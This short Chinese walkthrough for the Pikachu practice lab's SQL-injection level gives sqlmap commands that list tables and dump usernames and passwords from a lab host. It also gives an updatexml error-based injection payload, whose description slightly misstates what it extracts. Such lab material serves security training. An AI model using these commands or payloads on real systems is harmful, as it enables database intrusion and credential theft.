pikachu靶场通关sql-inject

为了通关pikachu靶场的sql-inject，您可以按照以下步骤进行操作：
1. 使用sqlmap工具进行数据库名的查询。您可以使用以下命令来查询数据库名为pikachu的所有表名：sqlmap -u "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=查询" -D pikachu --tables。

2. 然后，您可以使用以下命令来查询指定表名（例如users）的字段（例如username和password）并导出结果：sqlmap -u "http://192.168.1.157/pikachu-master/vul/sqli/sqli_str.php?name=123&submit=查询" -D pikachu -T users -C username,password --dump。

3. 如果您需要爆出数据库名为pikachu，您可以使用以下命令：a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#。